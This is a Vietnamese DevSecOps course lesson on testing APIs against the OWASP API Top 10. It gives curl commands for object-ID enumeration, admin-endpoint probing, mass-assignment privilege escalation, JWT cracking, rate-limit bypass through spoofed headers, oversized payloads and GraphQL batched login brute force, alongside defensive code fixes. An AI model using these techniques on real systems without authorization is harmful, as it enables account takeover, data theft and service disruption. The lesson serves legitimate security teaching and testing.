Chuyển đến nội dung chính

Bài 19: API Security Testing — OWASP API Top 10

OWASP API Security Top 10 (2023), BOLA/BFLA, mass assignment, rate limiting bypass, GraphQL security, API fuzzing.

🔒 DevSecOps — Bài 19 Bài 19: API Security Testing — OWASP API Top 10

Performance Testing & Pentest: Quy trình Chuẩn Doanh nghiệp 2026

Phần 4: Pentest Nâng cao — Cloud, Container & AI

xdev.asia

1. OWASP API Security Top 10 (2023)

OWASP API Security Top 10:

 #   │ Vulnerability                              │ Severity
─────┼────────────────────────────────────────────┼──────────
 API1│ Broken Object Level Authorization (BOLA)   │ Critical
 API2│ Broken Authentication                      │ Critical
 API3│ Broken Object Property Level Authorization │ High
 API4│ Unrestricted Resource Consumption          │ High
 API5│ Broken Function Level Authorization (BFLA) │ Critical
 API6│ Unrestricted Access to Sensitive Flows     │ High
 API7│ Server Side Request Forgery (SSRF)         │ High
 API8│ Security Misconfiguration                  │ Medium
 API9│ Improper Inventory Management              │ Medium
 API10│ Unsafe Consumption of APIs                │ Medium

2. API1: BOLA — Broken Object Level Authorization

# BOLA Testing — Most common API vulnerability

# Step 1: Login as User A, get token
TOKEN_A=$(curl -s -X POST https://api.example.com/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"[email protected]","password":"Pass123!"}' \
  | jq -r '.token')

# Step 2: Get User A's resources
curl -s -H "Authorization: Bearer $TOKEN_A" \
  https://api.example.com/api/v1/orders/101
# Returns: User A's order #101

# Step 3: Try to access User B's resources with User A's token
curl -s -H "Authorization: Bearer $TOKEN_A" \
  https://api.example.com/api/v1/orders/102
# If 200 OK with User B's data → BOLA confirmed!

# Step 4: Enumerate IDs
for id in $(seq 100 200); do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer $TOKEN_A" \
    https://api.example.com/api/v1/orders/$id)
  echo "Order $id: $STATUS"
done

# BOLA with UUID (harder but still testable)
# Collect UUIDs from responses, try other users' UUIDs
# ✅ BOLA Prevention
from fastapi import Depends, HTTPException

@app.get("/api/v1/orders/{order_id}")
async def get_order(
    order_id: int,
    current_user: User = Depends(get_current_user)
):
    order = await Order.get(order_id)
    if not order:
        raise HTTPException(404)
    # ✅ Check ownership
    if order.user_id != current_user.id and not current_user.is_admin:
        raise HTTPException(403, "Access denied")
    return order

3. API2-API3: Authentication & Mass Assignment

# --- Broken Authentication Testing ---

# Token analysis
# Decode JWT (no verification)
echo "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .

# Check for weak JWT secret
# hashcat -a 0 -m 16500 jwt.txt wordlist.txt
# jwt-cracker "$TOKEN" -d /usr/share/wordlists/rockyou.txt

# Test algorithm confusion
# Change RS256 to HS256 in header, sign with public key

# Test token expiration
# Does token work after 24h? After password change?

# --- Mass Assignment / Excessive Data Exposure ---

# Step 1: Normal request
curl -X POST https://api.example.com/api/v1/users/register \
  -H "Content-Type: application/json" \
  -d '{"name":"Test","email":"[email protected]","password":"Pass123!"}'

# Step 2: Try adding privileged fields
curl -X POST https://api.example.com/api/v1/users/register \
  -H "Content-Type: application/json" \
  -d '{
    "name":"Test",
    "email":"[email protected]",
    "password":"Pass123!",
    "role":"admin",
    "is_admin":true,
    "credit_balance":999999
  }'
# If role=admin is accepted → Mass Assignment!

# Step 3: Check response for excessive data
curl -H "Authorization: Bearer $TOKEN" \
  https://api.example.com/api/v1/users/me
# Does response include: password_hash, internal_id, 
# credit_card, other users' data?
# ✅ Mass Assignment Prevention
from pydantic import BaseModel

# Define explicit schemas — only allow specific fields
class UserCreate(BaseModel):
    name: str
    email: str
    password: str
    # role, is_admin NOT included → can't be set by user

class UserResponse(BaseModel):
    id: int
    name: str
    email: str
    # password_hash, internal fields NOT included

@app.post("/api/v1/users/register", response_model=UserResponse)
async def register(user_data: UserCreate):
    user = User(**user_data.model_dump())
    user.role = "user"  # Always set server-side
    await user.save()
    return user

4. API4: Unrestricted Resource Consumption

# --- Rate Limiting Bypass Techniques ---

# Test basic rate limiting
for i in $(seq 1 100); do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    https://api.example.com/api/v1/login \
    -X POST -d '{"email":"[email protected]","password":"wrong"}')
  echo "Attempt $i: $STATUS"
done
# Should see 429 after threshold

# Bypass techniques:
# 1. IP rotation (via X-Forwarded-For)
curl -H "X-Forwarded-For: 10.0.0.$((RANDOM % 255))" \
  https://api.example.com/api/v1/login

# 2. Case manipulation in email
# [email protected], [email protected], [email protected]

# 3. Add spaces/special chars
# "[email protected] ", " [email protected]", "[email protected]."

# 4. Unicode normalization
# "të[email protected]" → "[email protected]"

# --- Resource exhaustion ---
# Large payload
python3 -c "import json; print(json.dumps({'data': 'A'*10000000}))" | \
  curl -X POST -H "Content-Type: application/json" \
  -d @- https://api.example.com/api/v1/process

# Deep nesting (JSON bomb)
# {"a":{"a":{"a":{"a":...}}}} — causes stack overflow

# GraphQL query complexity
curl -X POST https://api.example.com/graphql -d '{
  "query": "{ users { orders { items { reviews { user { orders { items }}}}}}}"
}'

5. API5: BFLA — Broken Function Level Authorization

# BFLA — Testing admin endpoints with regular user token

# Regular user operations
curl -H "Authorization: Bearer $USER_TOKEN" \
  https://api.example.com/api/v1/users/me

# Try admin endpoints with regular user token
curl -H "Authorization: Bearer $USER_TOKEN" \
  https://api.example.com/api/v1/admin/users

curl -X DELETE -H "Authorization: Bearer $USER_TOKEN" \
  https://api.example.com/api/v1/admin/users/123

curl -X PUT -H "Authorization: Bearer $USER_TOKEN" \
  https://api.example.com/api/v1/users/123/role \
  -d '{"role":"admin"}'

# HTTP method testing
# GET works → try PUT, DELETE, PATCH
curl -X PUT -H "Authorization: Bearer $USER_TOKEN" \
  https://api.example.com/api/v1/orders/123 \
  -d '{"status":"cancelled"}'

# API versioning bypass
curl -H "Authorization: Bearer $USER_TOKEN" \
  https://api.example.com/api/v2/admin/users
curl -H "Authorization: Bearer $USER_TOKEN" \
  https://api.example.com/internal/admin/users

6. GraphQL Security Testing

# --- GraphQL Introspection ---
curl -X POST https://api.example.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name fields { name type { name }}}}}"}'

# Full introspection query
curl -X POST https://api.example.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"query IntrospectionQuery { __schema { queryType { name } mutationType { name } types { ...FullType } directives { name description locations args { ...InputValue }}}} fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef }} fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue} fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name }}}}}"}'
# --- GraphQL-specific attacks ---

# Query batching (bypass rate limiting)
curl -X POST https://api.example.com/graphql \
  -H "Content-Type: application/json" \
  -d '[
    {"query":"mutation { login(email:\"[email protected]\",password:\"pass1\") { token }}"},
    {"query":"mutation { login(email:\"[email protected]\",password:\"pass2\") { token }}"},
    {"query":"mutation { login(email:\"[email protected]\",password:\"pass3\") { token }}"}
  ]'

# Alias-based batching
curl -X POST https://api.example.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ a1:login(email:\"[email protected]\",password:\"pass1\"){token} a2:login(email:\"[email protected]\",password:\"pass2\"){token} a3:login(email:\"[email protected]\",password:\"pass3\"){token} }"}'

# BOLA via GraphQL
curl -X POST https://api.example.com/graphql \
  -H "Authorization: Bearer $USER_TOKEN" \
  -d '{"query":"{ user(id: 999) { email creditCard { number cvv } }}"}'

7. API Fuzzing

# --- RESTler — Stateful API fuzzing (Microsoft) ---
# Generate grammar from OpenAPI spec
dotnet Restler.dll compile --api_spec openapi.json

# Test mode (quick validation)
dotnet Restler.dll test --grammar_file grammar.py \
  --dictionary_file dict.json \
  --settings engine_settings.json

# Fuzz mode (find bugs)
dotnet Restler.dll fuzz-lean --grammar_file grammar.py \
  --dictionary_file dict.json \
  --time_budget 1  # hours

# --- Schemathesis — OpenAPI/GraphQL fuzzing ---
pip install schemathesis

# API fuzzing from OpenAPI spec
schemathesis run https://api.example.com/openapi.json \
  --checks all \
  --hypothesis-max-examples 1000 \
  --base-url https://api.example.com \
  --header "Authorization: Bearer $TOKEN"

# GraphQL fuzzing
schemathesis run https://api.example.com/graphql \
  --app-framework graphql

8. API Security Checklist

API Pentest Checklist:

Authentication:
  □ JWT algorithm confusion
  □ Token expiration enforced
  □ Password reset flow secure
  □ MFA bypass attempts
  □ Session invalidation on password change

Authorization:
  □ BOLA — test all endpoints with different user IDs
  □ BFLA — test admin endpoints with regular user token
  □ Mass assignment — add extra fields in requests
  □ HTTP method tampering (GET→PUT→DELETE)

Input:
  □ SQL injection in all parameters
  □ NoSQL injection ($gt, $ne operators)
  □ SSRF via URL parameters
  □ XXE in XML-accepting endpoints
  □ Command injection

Rate Limiting:
  □ Login brute force protection
  □ OTP/token brute force
  □ API key enumeration
  □ Resource exhaustion (large payloads)

GraphQL:
  □ Introspection enabled in production
  □ Query complexity limits
  □ Batch query abuse
  □ Authorization on nested resolvers

Inventory:
  □ Undocumented endpoints
  □ Legacy API versions still active
  □ Debug/internal endpoints exposed
  □ API keys in client-side code

9. Tổng kết

  • BOLA (API1): #1 API risk — always test object-level authorization
  • Mass Assignment (API3): Use explicit schemas, whitelist fields
  • Rate Limiting (API4): Test bypass techniques, resource exhaustion
  • BFLA (API5): Test admin functions with regular user tokens
  • GraphQL: Introspection, batching, nested authorization
  • Fuzzing: RESTler, Schemathesis for automated API testing

Bài tiếp theo sẽ khám phá AI-powered Pentesting 2026.